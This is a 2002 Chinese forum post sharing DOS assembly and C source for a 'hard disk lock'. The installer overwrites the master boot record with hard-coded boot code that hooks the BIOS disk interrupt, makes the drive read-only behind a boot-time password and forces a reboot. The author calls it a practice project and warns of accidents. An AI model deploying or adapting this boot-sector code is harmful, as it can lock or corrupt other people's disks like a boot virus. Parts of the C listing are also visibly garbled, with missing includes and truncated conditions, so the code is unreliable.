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标题: 一个锁硬盘的小程序，让硬盘不能写，只能读 [打印本页]

作者: kickout 时间: 2002-10-28 00:00 标题: 一个锁硬盘的小程序，让硬盘不能写，只能读

这是我以前练习时自己编得玩的，编译成EXE文件后。。。不要轻易去试啊，到时出了意外我不负责。。。
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   .model tiny
   .code
diskio equ 13h
video equ 10h
org 200h
getpassword proc
passbegin:
myroutine:
      push cs
      pop ds
      mov di,offset headmsg
      call put_str
      mov di,offset pswbuffer
      call readstr
      mov si,offset pswbuffer
      mov di,offset password
      xor ch,ch
      mov cl,byte ptr [di]
      repe cmpsb
      jz right
      mov di, offset errormsg
      call put_str
deadloop :
      jmp deadloop
right:
      ret
readstr proc near
      push es
      push di
      push cs
      pop es
      inc di
      mov plength,0
next:
      cmp plength,15
      jge @l1
      mov ah,1
      int 16h
      jz next
      mov ax,0
      int 16h
      cmp al,0
      je next
      cmp al,08
      je @l2
      cmp al,13
      je @l1
      sub al,20
      or al,80h
      stosb
      mov al,'X'
      mov bx,0
      mov ah,0eh
      int 10h
      inc plength
      jmp next
@l2:
      cmp plength,0
      je next
      dec di
      mov al,00h
      stosb
      mov ah,03h
      mov bh,00h
      int 10h
      dec dx
      mov ah,02h
      int 10h
      mov al,' '
      mov ah,0eh
      int 10h
      mov ah,02h
      int 10h
      dec plength
      dec di
      jmp next
@l1:
      pop di
      mov al,byte ptr plength
      mov byte ptr [di],al
      pop es
      ret
readstr endp
  ;
  put_str proc
      mov al,cs:[di]
      cmp al,'$'
      je a1
      mov ah,0eh
      mov bx,0003h
      int video
      inc di
      jmp put_str
a1:
      ret
  put_str endp
  plength db 0
  headmsg db"圹鄄膊北卑鞍 PASS WORD FOR HD SYSTEM    鞍氨北膊槽圹",0AH,0DH
      db"****** PassWord is: MASTER ******(NOT  master!!!!)",0ah,0dh
      db"****** I am Sorry harddisk is write protect!!!!!",0ah,0dh
      db"****** BUT You Can type the password to visit drive C:",0ah,0dh
      db"圹鄄膊北卑鞍 Please input Password(MASTER) 鞍氨北膊槽圹",0ah,0dh
      db  0ah,0dh
      db 'Password:','$'
  passtail:
  passlen  equ 1024-(passtail-passbegin)
         db passlen dup(0)
         org passbegin+1024
  getpassword endp
org 600h
getpass proc
pbegin:
      push ax
      push cx
      push ds
      push es
      push si
      push di
      xor ax,ax
      mov ds,ax
      mov es,ax
      mov ax,ds:[3f0h]
      mov ds,ax
      mov es,ax
      mov di,offset pswbuffer
      call preadstr
      mov si,offset pswbuffer
      mov di,offset password
      xor ch,ch
      mov cl,byte ptr[di]
      repe cmpsb
      mov ax,1075h
      mov cx,5
      jz right2
$t1:
      add ax,200h
      call music
      call delay
      loop $t1
      call nosound
      pop di
      pop si
      pop es
      pop ds
      pop cx
      pop ax
      stc
      ret
right2:
      mov ax,2275h
$t4:
      sub ax,200h
      call music
      call delay
      loop $t4
      call nosound
      pop di
      pop si
      pop es
      pop ds
      pop cx
      pop ax
      clc
      ret
preadstr proc near
      push es
      push di
      inc di
      mov plength,0
pnext :
      cmp plength ,15
      jge @pl1
      mov ah,1
      int 16h
      jz pnext
      mov ax,0
      int 16h
      cmp al,0
      je pnext
      cmp al,08
      je @pl2
      cmp al,13
      je @pl1
      sub al,20
      or al,80h
      stosb
      inc plength
      jmp pnext
@pl2:
      cmp plength,0
      je pnext
      dec di
      mov al,00h
      stosb
      dec plength
      dec di
      jmp pnext
@pl1:
      pop di
      mov al,byte ptr plength
      mov  byte ptr [di],al
      pop es
      ret
preadstr  endp
timer2 equ 42h
tim_ctr equ 43h
port_b equ 61h
music proc
      push ax
      mov al,10110110b
      out tim_ctr,al
      pop ax
      out timer2,al
      mov al,ah
      out timer2 ,al
      in al,port_b
      or al,00000011b
      out port_b,al
      ret
music endp
nosound proc
      in al,port_b
      and al,11111100b
      out port_b,al
      ret
nosound endp
delay proc
      push si
      mov si,0a000h
  @j1:
      dec si
      cmp si,0
      jnz @j1
      pop si
      ret
  delay endp
  errormsg db 0ah,0dh
         db"鞍氨北膊槽圹 Access Denied 圹鄄膊北卑鞍",0ah,0dh
         db"========= Unauthorized User =========",0ah,0dh,'$'
  ptail:
  restlen equ 200h-(ptail-pbegin)-32
         db restlen dup (0)
         org pbegin+200h-32
  password db 0,15 dup(0)
  pswbuffer db 0,15 dup(1)
  getpass endp
  end

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作者: kickout 时间: 2002-10-28 00:00
这个好像是个中间过程，真正的锁硬盘的小程序是C语言编的。
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#include
#include
#include
#include
#include
#define MemSize* (unsigned far*)0x00400013
char sector1[512]={
      0xEB,0x64,0x90,0x07,0x1F,0xC3,0x1E,0x06,0x0E,0x0E,0x1F,0x07,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x01,
      0xCD,0x13,0x72,0xE7,0xBF,0x1C,0x09,0x80,0x3D,0x06,0x7C,0xDF,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x00,
      0xCD,0x13,0x81,0x3E,0x5C,0x09,0x13,0x07,0x74,0xC9,0xBE,0xBE,
      0x0A,0xBF,0xBE,0x0C,0xB9,0x42,0x00,0xE8,0xC3,0xF5,0xB9,0x06,
      0x00,0xBB,0x00,0x01,0xBA,0x80,0x00,0xB8,0x01,0x03,0xCD,0x13,
      0x81,0xC3,0x00,0x02,0xE2,0xF2,0xEB,0xA7,0x13,0x07,0xC5,0x18,
      0xAB,0x17,0xEC,0x02,0x00,0x9F,0x33,0xC0,0x8E,0xD8,0x8E,0xD0,
      0xBC,0x00,0x7C,0xA1,0x4C,0x00,0xA3,0x5E,0x7C,0xA1,0x4E,0x00,
      0xA3,0x60,0x7C,0xA1,0x13,0x04,0x2D,0x04,0x00,0xA3,0x13,0x04,
      0xB1,0x06,0xD3,0xE0,0x8E,0xC0,0xB9,0x00,0x02,0xBE,0x00,0x7C,
      0xBF,0x00,0x0B,0xFC,0xF3,0xA4,0x50,0xB8,0x9C,0x0B,0x50,0xCB,
      0x33,0xC0,0xCD,0x13,0x57,0x33,0xFF,0xBA,0x80,0x00,0xBB,0x00,
      0x07,0x8B,0xCF,0x83,0xC1,0x03,0xB8,0x01,0x02,0xCD,0x13,0x81,
      0xEB,0x00,0x02,0x47,0x83,0xFF,0x04,0x75,0xEC,0xBF,0x4C,0x00,
      0xC7,0x05,0xE8,0x0B,0x8C,0x45,0x02,0x5F,0x2E,0xC6,0x06,0xFC,
      0x0B,0x90,0x33,0xC0,0x8E,0xC0,0xB8,0x01,0x02,0xBB,0x00,0x7C,
      0xB9,0x02,0x00,0xBA,0x80,0x00,0xCD,0x13,0x33,0xC0,0x50,0xB8,
      0x00,0x7C,0x50,0xCB,0x1E,0x06,0x50,0x53,0x52,0x51,0xE8,0x89,
      0x00,0x59,0x5A,0x5B,0x58,0x07,0x1F,0x2E,0xFF,0x2E,0x5E,0x0B,
      0xC3,0xB4,0x03,0xB7,0x00,0xCD,0x10,0x52,0xFE,0xCE,0xFE,0xC2,
      0xB7,0x00,0xB4,0x02,0xCD,0x10,0xB4,0x08,0xCD,0x10,0x3C,0x3E,
      0x75,0x5C,0x1E,0x06,0x0E,0x1F,0x33,0xC0,0x8E,0xC0,0x56,0x57,
      0x26,0xA1,0x84,0x00,0xA3,0x17,0x01,0x26,0xA1,0x86,0x00,0xA3,
      0x19,0x01,0x8C,0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0x4F,0x03,
      0xBE,0x62,0x0B,0xBF,0x84,0x00,0xE8,0xC5,0xF4,0x26,0xA1,0x20,
      0x00,0xA3,0x13,0x01,0x26,0xA1,0x22,0x00,0xA3,0x15,0x01,0x8C,
      0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0xEC,0x02,0xBE,0x62,0x0B,
      0xBF,0x20,0x00,0xE8,0xA4,0xF4,0x5F,0x5E,0x2E,0xC6,0x06,0xFC,
      0x0B,0xC3,0x26,0x83,0x06,0x13,0x04,0x04,0x07,0x1F,0x5A,0xB7,
      0x00,0xB4,0x02,0xCD,0x10,0xC3,0x2E,0x80,0x3E,0xFC,0x0B,0x90,
      0x75,0x04,0xE8,0x77,0xFF,0xC3,0x81,0xFA,0x80,0x00,0x75,0xF9,
      0x80,0xFC,0x02,0x75,0x0E,0xE8,0xFA,0xFB,0x83,0xF9,0x01,0x75,
      0xEC,0x5A,0x59,0x41,0x51,0x52,0xC3,0x80,0xFC,0x03,0x75,0xE1,
      0x57,0xBF,0x06,0x00,0x3B,0xCF,0x74,0x05,0x4F,0x75,0xF9,0x5F,
      0xC3,0x5F,0x83,0xC4,0x0E,0x33,0xC0,0xCF,0x00,0x00,0x00,0x00,
      0x00,0x00,0x80,0x01,0x01,0x00,0x06,0x0F,0x66,0x50,0x26,0x00,
      0x00,0x00,0x3A,0x20,0x03,0x00,0x00,0x00,0x41,0x51,0x05,0x0F,
      0xA6,0xAB,0x60,0x20,0x03,0x00,0x20,0x38,0x03,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA
      };
char sector2[1536]={
      0xEB,0x64,0x90,0x07,0x1F,0xC3,0x1E,0x06,0x0E,0x0E,0x1F,0x07,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x01,
      0xCD,0x13,0x72,0xE7,0xBF,0x1C,0x09,0x80,0x3D,0x06,0x7C,0xDF,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x00,
      0xCD,0x13,0x81,0x3E,0x5C,0x09,0x13,0x07,0x74,0xC9,0xBE,0xBE,
      0x0A,0xBF,0xBE,0x0C,0xB9,0x42,0x00,0xE8,0xC3,0xF5,0xB9,0x06,
      0x00,0xBB,0x00,0x01,0xBA,0x80,0x00,0xB8,0x01,0x03,0xCD,0x13,
      0x81,0xC3,0x00,0x02,0xE2,0xF2,0xEB,0xA7,0x13,0x07,0xC5,0x18,
      0xAB,0x17,0xEC,0x02,0x00,0x9F,0x33,0xC0,0x8E,0xD8,0x8E,0xD0,
      0xBC,0x00,0x7C,0xA1,0x4C,0x00,0xA3,0x5E,0x7C,0xA1,0x4E,0x00,
      0xA3,0x60,0x7C,0xA1,0x13,0x04,0x2D,0x04,0x00,0xA3,0x13,0x04,
      0xB1,0x06,0xD3,0xE0,0x8E,0xC0,0xB9,0x00,0x02,0xBE,0x00,0x7C,
      0xBF,0x00,0x0B,0xFC,0xF3,0xA4,0x50,0xB8,0x9C,0x0B,0x50,0xCB,
      0x33,0xC0,0xCD,0x13,0x57,0x33,0xFF,0xBA,0x80,0x00,0xBB,0x00,
      0x07,0x8B,0xCF,0x83,0xC1,0x03,0xB8,0x01,0x02,0xCD,0x13,0x81,
      0xEB,0x00,0x02,0x47,0x83,0xFF,0x04,0x75,0xEC,0xBF,0x4C,0x00,
      0xC7,0x05,0xE8,0x0B,0x8C,0x45,0x02,0x5F,0x2E,0xC6,0x06,0xFC,
      0x0B,0x90,0x33,0xC0,0x8E,0xC0,0xB8,0x01,0x02,0xBB,0x00,0x7C,
      0xB9,0x02,0x00,0xBA,0x80,0x00,0xCD,0x13,0x33,0xC0,0x50,0xB8,
      0x00,0x7C,0x50,0xCB,0x1E,0x06,0x50,0x53,0x52,0x51,0xE8,0x89,
      0x00,0x59,0x5A,0x5B,0x58,0x07,0x1F,0x2E,0xFF,0x2E,0x5E,0x0B,
      0xC3,0xB4,0x03,0xB7,0x00,0xCD,0x10,0x52,0xFE,0xCE,0xFE,0xC2,
      0xB7,0x00,0xB4,0x02,0xCD,0x10,0xB4,0x08,0xCD,0x10,0x3C,0x3E,
      0x75,0x5C,0x1E,0x06,0x0E,0x1F,0x33,0xC0,0x8E,0xC0,0x56,0x57,
      0x26,0xA1,0x84,0x00,0xA3,0x17,0x01,0x26,0xA1,0x86,0x00,0xA3,
      0x19,0x01,0x8C,0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0x4F,0x03,
      0xBE,0x62,0x0B,0xBF,0x84,0x00,0xE8,0xC5,0xF4,0x26,0xA1,0x20,
      0x00,0xA3,0x13,0x01,0x26,0xA1,0x22,0x00,0xA3,0x15,0x01,0x8C,
      0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0xEC,0x02,0xBE,0x62,0x0B,
      0xBF,0x20,0x00,0xE8,0xA4,0xF4,0x5F,0x5E,0x2E,0xC6,0x06,0xFC,
      0x0B,0xC3,0x26,0x83,0x06,0x13,0x04,0x04,0x07,0x1F,0x5A,0xB7,
      0x00,0xB4,0x02,0xCD,0x10,0xC3,0x2E,0x80,0x3E,0xFC,0x0B,0x90,
      0x75,0x04,0xE8,0x77,0xFF,0xC3,0x81,0xFA,0x80,0x00,0x75,0xF9,
      0x80,0xFC,0x02,0x75,0x0E,0xE8,0xFA,0xFB,0x83,0xF9,0x01,0x75,
      0xEC,0x5A,0x59,0x41,0x51,0x52,0xC3,0x80,0xFC,0x03,0x75,0xE1,
      0x57,0xBF,0x06,0x00,0x3B,0xCF,0x74,0x05,0x4F,0x75,0xF9,0x5F,
      0xC3,0x5F,0x83,0xC4,0x0E,0x33,0xC0,0xCF,0x00,0x00,0x00,0x00,
      0x00,0x00,0x80,0x01,0x01,0x00,0x06,0x0F,0x66,0x50,0x26,0x00,
      0x00,0x00,0x3A,0x20,0x03,0x00,0x00,0x00,0x41,0x51,0x05,0x0F,
      0xA6,0xAB,0x60,0x20,0x03,0x00,0x20,0x38,0x03,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA,
      0xEB,0x64,0x90,0x07,0x1F,0xC3,0x1E,0x06,0x0E,0x0E,0x1F,0x07,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x01,
      0xCD,0x13,0x72,0xE7,0xBF,0x1C,0x09,0x80,0x3D,0x06,0x7C,0xDF,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x00,
      0xCD,0x13,0x81,0x3E,0x5C,0x09,0x13,0x07,0x74,0xC9,0xBE,0xBE,
      0x0A,0xBF,0xBE,0x0C,0xB9,0x42,0x00,0xE8,0xC3,0xF5,0xB9,0x06,
      0x00,0xBB,0x00,0x01,0xBA,0x80,0x00,0xB8,0x01,0x03,0xCD,0x13,
      0x81,0xC3,0x00,0x02,0xE2,0xF2,0xEB,0xA7,0x13,0x07,0xC5,0x18,
      0xAB,0x17,0xEC,0x02,0x00,0x9F,0x33,0xC0,0x8E,0xD8,0x8E,0xD0,
      0xBC,0x00,0x7C,0xA1,0x4C,0x00,0xA3,0x5E,0x7C,0xA1,0x4E,0x00,
      0xA3,0x60,0x7C,0xA1,0x13,0x04,0x2D,0x04,0x00,0xA3,0x13,0x04,
      0xB1,0x06,0xD3,0xE0,0x8E,0xC0,0xB9,0x00,0x02,0xBE,0x00,0x7C,
      0xBF,0x00,0x0B,0xFC,0xF3,0xA4,0x50,0xB8,0x9C,0x0B,0x50,0xCB,
      0x33,0xC0,0xCD,0x13,0x57,0x33,0xFF,0xBA,0x80,0x00,0xBB,0x00,
      0x07,0x8B,0xCF,0x83,0xC1,0x03,0xB8,0x01,0x02,0xCD,0x13,0x81,
      0xEB,0x00,0x02,0x47,0x83,0xFF,0x04,0x75,0xEC,0xBF,0x4C,0x00,
      0xC7,0x05,0xE8,0x0B,0x8C,0x45,0x02,0x5F,0x2E,0xC6,0x06,0xFC,
      0x0B,0x90,0x33,0xC0,0x8E,0xC0,0xB8,0x01,0x02,0xBB,0x00,0x7C,
      0xB9,0x02,0x00,0xBA,0x80,0x00,0xCD,0x13,0x33,0xC0,0x50,0xB8,
      0x00,0x7C,0x50,0xCB,0x1E,0x06,0x50,0x53,0x52,0x51,0xE8,0x89,
      0x00,0x59,0x5A,0x5B,0x58,0x07,0x1F,0x2E,0xFF,0x2E,0x5E,0x0B,
      0xC3,0xB4,0x03,0xB7,0x00,0xCD,0x10,0x52,0xFE,0xCE,0xFE,0xC2,
      0xB7,0x00,0xB4,0x02,0xCD,0x10,0xB4,0x08,0xCD,0x10,0x3C,0x3E,
      0x75,0x5C,0x1E,0x06,0x0E,0x1F,0x33,0xC0,0x8E,0xC0,0x56,0x57,
      0x26,0xA1,0x84,0x00,0xA3,0x17,0x01,0x26,0xA1,0x86,0x00,0xA3,
      0x19,0x01,0x8C,0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0x4F,0x03,
      0xBE,0x62,0x0B,0xBF,0x84,0x00,0xE8,0xC5,0xF4,0x26,0xA1,0x20,
      0x00,0xA3,0x13,0x01,0x26,0xA1,0x22,0x00,0xA3,0x15,0x01,0x8C,
      0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0xEC,0x02,0xBE,0x62,0x0B,
      0xBF,0x20,0x00,0xE8,0xA4,0xF4,0x5F,0x5E,0x2E,0xC6,0x06,0xFC,
      0x0B,0xC3,0x26,0x83,0x06,0x13,0x04,0x04,0x07,0x1F,0x5A,0xB7,
      0x00,0xB4,0x02,0xCD,0x10,0xC3,0x2E,0x80,0x3E,0xFC,0x0B,0x90,
      0x75,0x04,0xE8,0x77,0xFF,0xC3,0x81,0xFA,0x80,0x00,0x75,0xF9,
      0x80,0xFC,0x02,0x75,0x0E,0xE8,0xFA,0xFB,0x83,0xF9,0x01,0x75,
      0xEC,0x5A,0x59,0x41,0x51,0x52,0xC3,0x80,0xFC,0x03,0x75,0xE1,
      0x57,0xBF,0x06,0x00,0x3B,0xCF,0x74,0x05,0x4F,0x75,0xF9,0x5F,
      0xC3,0x5F,0x83,0xC4,0x0E,0x33,0xC0,0xCF,0x00,0x00,0x00,0x00,
      0x00,0x00,0x80,0x01,0x01,0x00,0x06,0x0F,0x66,0x50,0x26,0x00,
      0x00,0x00,0x3A,0x20,0x03,0x00,0x00,0x00,0x41,0x51,0x05,0x0F,
      0xA6,0xAB,0x60,0x20,0x03,0x00,0x20,0x38,0x03,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA,
      0xEB,0x64,0x90,0x07,0x1F,0xC3,0x1E,0x06,0x0E,0x0E,0x1F,0x07,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x01,
      0xCD,0x13,0x72,0xE7,0xBF,0x1C,0x09,0x80,0x3D,0x06,0x7C,0xDF,
      0xB8,0x01,0x02,0xBB,0x00,0x09,0xB9,0x01,0x00,0xBA,0x80,0x00,
      0xCD,0x13,0x81,0x3E,0x5C,0x09,0x13,0x07,0x74,0xC9,0xBE,0xBE,
      0x0A,0xBF,0xBE,0x0C,0xB9,0x42,0x00,0xE8,0xC3,0xF5,0xB9,0x06,
      0x00,0xBB,0x00,0x01,0xBA,0x80,0x00,0xB8,0x01,0x03,0xCD,0x13,
      0x81,0xC3,0x00,0x02,0xE2,0xF2,0xEB,0xA7,0x13,0x07,0xC5,0x18,
      0xAB,0x17,0xEC,0x02,0x00,0x9F,0x33,0xC0,0x8E,0xD8,0x8E,0xD0,
      0xBC,0x00,0x7C,0xA1,0x4C,0x00,0xA3,0x5E,0x7C,0xA1,0x4E,0x00,
      0xA3,0x60,0x7C,0xA1,0x13,0x04,0x2D,0x04,0x00,0xA3,0x13,0x04,
      0xB1,0x06,0xD3,0xE0,0x8E,0xC0,0xB9,0x00,0x02,0xBE,0x00,0x7C,
      0xBF,0x00,0x0B,0xFC,0xF3,0xA4,0x50,0xB8,0x9C,0x0B,0x50,0xCB,
      0x33,0xC0,0xCD,0x13,0x57,0x33,0xFF,0xBA,0x80,0x00,0xBB,0x00,
      0x07,0x8B,0xCF,0x83,0xC1,0x03,0xB8,0x01,0x02,0xCD,0x13,0x81,
      0xEB,0x00,0x02,0x47,0x83,0xFF,0x04,0x75,0xEC,0xBF,0x4C,0x00,
      0xC7,0x05,0xE8,0x0B,0x8C,0x45,0x02,0x5F,0x2E,0xC6,0x06,0xFC,
      0x0B,0x90,0x33,0xC0,0x8E,0xC0,0xB8,0x01,0x02,0xBB,0x00,0x7C,
      0xB9,0x02,0x00,0xBA,0x80,0x00,0xCD,0x13,0x33,0xC0,0x50,0xB8,
      0x00,0x7C,0x50,0xCB,0x1E,0x06,0x50,0x53,0x52,0x51,0xE8,0x89,
      0x00,0x59,0x5A,0x5B,0x58,0x07,0x1F,0x2E,0xFF,0x2E,0x5E,0x0B,
      0xC3,0xB4,0x03,0xB7,0x00,0xCD,0x10,0x52,0xFE,0xCE,0xFE,0xC2,
      0xB7,0x00,0xB4,0x02,0xCD,0x10,0xB4,0x08,0xCD,0x10,0x3C,0x3E,
      0x75,0x5C,0x1E,0x06,0x0E,0x1F,0x33,0xC0,0x8E,0xC0,0x56,0x57,
      0x26,0xA1,0x84,0x00,0xA3,0x17,0x01,0x26,0xA1,0x86,0x00,0xA3,
      0x19,0x01,0x8C,0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0x4F,0x03,
      0xBE,0x62,0x0B,0xBF,0x84,0x00,0xE8,0xC5,0xF4,0x26,0xA1,0x20,
      0x00,0xA3,0x13,0x01,0x26,0xA1,0x22,0x00,0xA3,0x15,0x01,0x8C,
      0x1E,0x64,0x0B,0xC7,0x06,0x62,0x0B,0xEC,0x02,0xBE,0x62,0x0B,
      0xBF,0x20,0x00,0xE8,0xA4,0xF4,0x5F,0x5E,0x2E,0xC6,0x06,0xFC,
      0x0B,0xC3,0x26,0x83,0x06,0x13,0x04,0x04,0x07,0x1F,0x5A,0xB7,
      0x00,0xB4,0x02,0xCD,0x10,0xC3,0x2E,0x80,0x3E,0xFC,0x0B,0x90,
      0x75,0x04,0xE8,0x77,0xFF,0xC3,0x81,0xFA,0x80,0x00,0x75,0xF9,
      0x80,0xFC,0x02,0x75,0x0E,0xE8,0xFA,0xFB,0x83,0xF9,0x01,0x75,
      0xEC,0x5A,0x59,0x41,0x51,0x52,0xC3,0x80,0xFC,0x03,0x75,0xE1,
      0x57,0xBF,0x06,0x00,0x3B,0xCF,0x74,0x05,0x4F,0x75,0xF9,0x5F,
      0xC3,0x5F,0x83,0xC4,0x0E,0x33,0xC0,0xCF,0x00,0x00,0x00,0x00,
      0x00,0x00,0x80,0x01,0x01,0x00,0x06,0x0F,0x66,0x50,0x26,0x00,
      0x00,0x00,0x3A,0x20,0x03,0x00,0x00,0x00,0x41,0x51,0x05,0x0F,
      0xA6,0xAB,0x60,0x20,0x03,0x00,0x20,0x38,0x03,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA
            };
char buffer[512];
void readstr(char*str)
{
unsigned char plength =1;
unsigned xx,yy,x;
union REGS r;
xx=wherex();yy=wherey();
x=xx;
do
{
gotoxy(xx,yy);
r.h.ah=0;
int86(0x16,&r,&r);
if((r.h.ah!=28)&&(r.h.ah!=14)&&(r.h.ah!=1))
{*(str+plength)=(r.h.al-20)|0x80;
gotoxy(xx,yy);
putch('x');
xx++;plength++;
}
else if(r.h.ah==14)
{xx--;
if(xx1)plength--;
}
else if (r.h.ah==1)plength=0;
}while((r.h.ah!=28)&&(r.h.ah!=1)&&(plength0)
{
if(*(src+plength)!=*(dest+plength))
return -1;
plength--;
}
return 1;
}
int copypass(char*src,char*dest)
{
char plength;
plength=*(src+0);
while(plength>=0)
{*(dest+plength)=*(src+plength);
plength--;
}
}
void title()
{/*puts("\n┠履履履履?); */
puts("圹鄄膊北卑鞍HD password system鞍氨北膊槽圹 "

;
}
void reboot (void)
{void (far*reboot_ptr)(void);
unsigned int far*i_ptr;
clrscr();
i_ptr=MK_FP(0x0040,0x0072);
*i_ptr=0x1234;
reboot_ptr=MK_FP(0xf000,0xfffe);
reboot_ptr();}
main ()
{
char *pass;
char passwd1[16];
char passwd2[16];
char *buffer;
char filename[20];
int fp;

{
puts("Hard Disk Lock Installed or Virus infected!!!"

;
exit(1);
}
title();
printf("\nPassword:"

;
readstr(passwd1);
printf("\nVerify:"

;
readstr(passwd2);
if (checkpass(passwd1,passwd2)!=1)
{printf("\nPassword verify error!"

;
exit(1);}
pass=sector2+0x600-32;
copypass(passwd1,pass);
printf("\nBackp Filename:"

;
scanf("%s",filename);
fp=open(filename,O_CREAT|O_BINARY,S_IREAD|S_IWRITE);
if (fp==-1){puts("\nFile open error "

;exit(1);}

buffer=(char*)malloc(512);
while((biosdisk(0x02,0x80,0,0,1,1,buffer))!=0);
while((biosdisk(0x03,0x80,0,0,3,1,buffer))!=0);
while((biosdisk(0x03,0x80,0,0,7,1,buffer))!=0);
while((biosdisk(0x03,0x80,0,0,1,1,sector1))!=0);
while((biosdisk(0x03,0x80,0,0,4,3,sector2))!=0);
write(fp,buffer,512);
close(fp);
free(buffer);
puts("\nInstall O.K.!"

;
printf("\nPress anykey to reboot system...............%c",0x07);
getch();
reboot();
}
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
真的要小心啊。。。万一不行了，用kv300(或kv3000)的修复引导扇区的功能可恢复。